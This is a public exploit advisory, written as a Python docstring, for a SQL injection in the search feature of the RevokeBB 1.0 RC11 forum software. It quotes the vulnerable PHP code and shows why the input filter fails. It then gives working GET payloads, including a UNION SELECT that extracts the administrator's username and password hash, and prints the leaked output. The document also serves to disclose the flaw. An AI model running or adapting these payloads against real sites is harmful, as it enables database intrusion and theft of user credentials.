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#!/usr/bin/python """ #=================================================================================================# # ____ __________ __ ____ __ # # /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ # # | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ # # | | | \ | |/ \ \___| | /_____/ | || | # # |___|___| /\__| /______ /\___ >__| |___||__| # # \/\______| \/ \/ # #=================================================================================================# # This is a public Exploit # #=================================================================================================# # RevokeBB 1.0 RC11 # # Sql Injection Vulnerability # #====================================#===========#====================================#===========# # Server Configuration Requirements # # Some Information # # #====================================# #====================================# # # # # # # Vendor: sourceforge.net/projects/revokebb/ # # # Author: The:Paradox # # Nothing! # Severity: Critical # # # # # # Proud To Be Italian. # # # # #====================================#===========#================================================# # Proof Of Concept / Bug Explanation # # #====================================# # # RevokeBB presents a critical vulnerability in the "Search System". Let's see sources: # #=================================================================================================#
[./inc/acts/search.module.php]
85. $search_string = $this->var_filtrer->String('search');
141. $search->fast_thread_search($search_string, $start, 15);
[./inc/class_search.php]
83. function fast_thread_search($string, $start, $stop) 84. { 85. if($start > '0') 86. $str = ($start - 1)*$stop; 87. else 88. $str = 0; 89. 90. //$string = $this->prepare_sstring($string); 91. 92. 93. $query = $this->db->execQuery($this->prepare_query('revokebb_posts.text', $string, 0, array($str, $stop) ));
#=================================================================================================# # Ok, we have a sql query with $search_string. Seems it has been cleaned by var_filtrer(), # # but don't trust function names =D. Let's have a look? # #=================================================================================================#
[./inc/class_var_filtrer]
41. function var_filtrer() 42. { 43. //$this->add($var); 44. 45. }
#=================================================================================================# # What? An empty function??? This function does really nothing :D ... But that's not all. # # Let's see String() function. # #=================================================================================================#
[./inc/class_var_filtrer]
74. function String($name, $let_html=1) 75. { 76. if(!isset($this->variable[$name])) 77. return ''; 78. 79. $this->variable[$name]=stripslashes(trim($this->variable[$name])); 80. 81. if($let_html!=1) 82. $this->variable[$name]=strip_tags($this->variable[$name]); 83. 84. /*$this->variable[$name]=htmlspecialchars($this->variable[$name], ENT_QUOTES);*/ 85. 86. $this->variable[$name]=htmlentities($this->variable[$name]); 87. 88. $this->variable[$name] = preg_replace("/\\\(?!&#|\?#)/", "\", $this->variable[$name]); 89. 90. return trim($this->variable[$name]); 91. }
#=================================================================================================# # See, $name is stripslashed :D That's all, Sql injection vulnerability Magic Quotes Indipendent. # # Let's have a try. # #=================================================================================================#
GET http://localhost/RevokeBB/?search=%25%27pwnz00red
Fatal error: database::query() Could not execute: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'pwnz00red%' GROUP BY revokebb_threads.thread_id LIMIT 0,15' at line 7
GET http://localhost/RevokeBB/?search=|The:Paradox|%25%27/**/union/**/select/**/1,2,3,4,5,6,concat(user_nick,0x3a,user_password),8,9,10,11,12,13,14,15,16,17,18/**/from/**/revokebb_users/**/where/**/user_id=1/*
Title Author Replies Visits Last post 2 root:42f3f2bd1a74120fb585a894aa13b31a 10 13 01-01-1970 00:00:09 4 #=================================================================================================# # Use these informations at your own risk. You are responsible for your own deeds. # #=================================================================================================# """
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